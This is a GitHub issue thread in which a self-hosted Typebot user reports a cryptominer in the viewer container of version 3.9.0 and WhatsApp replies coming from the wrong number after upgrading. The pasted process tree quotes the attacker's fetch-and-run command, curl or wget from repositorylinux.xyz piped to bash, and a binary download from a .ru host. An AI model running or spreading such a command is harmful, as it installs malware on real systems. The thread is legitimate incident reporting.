[Docker] Known WA error Session is empty. Most likely in reply state. undefined

[MotazHakim]

Hello

i'm using typebot selfhosted via docker
i was using version 3.9.0 when the latest release at that time was 3.10.0 because i was having issue running typebot chats via whatsapp business cloud !

and couple days ago, i noticed a CPU USAGE Spike 100% coming from typebot-viewer container, i noticed a process called : linuxsys is using 100% of CPU
and with investigation i've found that typebot--viewer container who downloaded the crypto CPU miner

sh,1883 -c ./${SCOPE}-entrypoint.sh
├── init,740257
├── linuxsys,763775 (MINER - 428% CPU!)
└── next-server (v1,3115
    └── sh,759209 -c "(curl -s -k https://repositorylinux.xyz/linux.sh||wget ...)|bash"
        └── curl,763854 https://evolution-home.ru/.../linux.bin

and i've found that blog talking about the same crypto miner
https://www.vulncheck.com/blog/linuxsys-cryptominer

and i'm sure i'm using the official typebot
typebot-viewer baptistearno/typebot-viewer:3.9.0
typebot-builder baptistearno/typebot-builder:3.9.0

so i've killed the typebot-viewer and i've upgraded to 3.10.0 for builder/viewer
but my whatsapp bot is not working, not replying

so i've updated one by one till 3.14.2 latest version

and i'm getting typebot-viewer docker log errors when i send a message to the whatsapp number linked to typebot chat

- event [next-runtime-env] read environment variables prefixed with 'NEXT_PUBLIC_' from process.env.
- ready [next-runtime-env] wrote browser runtime environment variables to '/app/apps/viewer/public/__ENV.js'.
   ▲ Next.js 15.5.7
   - Local:        http://57ea126e3a97:3000
   - Network:      http://57ea126e3a97:3000
 ✓ Starting...
 ✓ Ready in 541ms
Known WA error Session is empty. Most likely in reply state. undefined
Known WA error Session is empty. Most likely in reply state. undefined
Known WA error Session is empty. Most likely in reply state. undefined
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined
Known WA error Message is too old { timestamps: [ '1765307740' ] }
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined

and i've 3 numbers connected to that typebot installation
so when i message one of them i get reply from another whatsapp number !!

i thought it's session issue, so i've waited 10 minutes since that's the time i set for the session
and still the same, i send messages to a specific whatsapp number and getting replies on another whatsapp number

So,

- 3.9.0 is working with no issue with whatsapp chats, but that crypto miner issue that related to that specific version that appeared!!

- 3.10.0 no whatsapp chat working at all, no docker typebot-viewer logs

- 3.11.0 whatsapp chat works. but i send a message on a number and i get reply on another number !, and docker viewer logs :

- event [next-runtime-env] read environment variables prefixed with 'NEXT_PUBLIC_' from process.env.
- ready [next-runtime-env] wrote browser runtime environment variables to '/app/apps/viewer/public/__ENV.js'.
   ▲ Next.js 15.3.0
   - Local:        http://8a9d8db33333:3000
   - Network:      http://8a9d8db33333:3000
 ✓ Starting...
 ✓ Ready in 366ms
Sending unknown error to Sentry
{
  context: undefined,
  description: 'Session is empty but isReplying is false',
  details: undefined
}
Sending unknown error to Sentry
{
  context: undefined,
  description: 'Session is empty but isReplying is false',
  details: undefined
}

- 3.12.0 same as 3.11.0 ( whatsapp chat works. but i send a message on a number and i get reply on another number !),

docker viewer logs

- event [next-runtime-env] read environment variables prefixed with 'NEXT_PUBLIC_' from process.env.
- ready [next-runtime-env] wrote browser runtime environment variables to '/app/apps/viewer/public/__ENV.js'.
   ▲ Next.js 15.4.1
   - Local:        http://4df6a9118beb:3000
   - Network:      http://4df6a9118beb:3000
 ✓ Starting...
 ✓ Ready in 439ms
(node:15) ExperimentalWarning: SQLite is an experimental feature and might change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined
Known WA error Is in reply state undefined

• 3.13.0 same as 3.12.0, same docker logs

• 3.13.1 , same exact 3.13.0 with same logs

• 3.14.0, same ..

• Latest, same..

- reverting back to 3.9.0, everything is working perfect, every whatsapp number is getting it's own msg/reply !

[coderabbitai]

📝 CodeRabbit Plan Mode

Generate an implementation plan and agent prompts for this issue.

• Create Plan

Examples

• Example 1
• Example 2

🔗 Similar Issues

Related Issues

• baptisteArno/typebot.io#1896
• baptisteArno/typebot.io#1947
• baptisteArno/typebot.io#2034

👤 Suggested Assignees

• MotazHakim
• NXC-Controls
• marciotisouza

---

🧪 Issue enrichment is currently in early access.

To disable automatic issue enrichment, add the following to your .coderabbit.yaml:

issue_enrichment:
  auto_enrich:
    enabled: false

[baptisteArno]

Can you maybe record a video to show the issue and also show how the bot starts?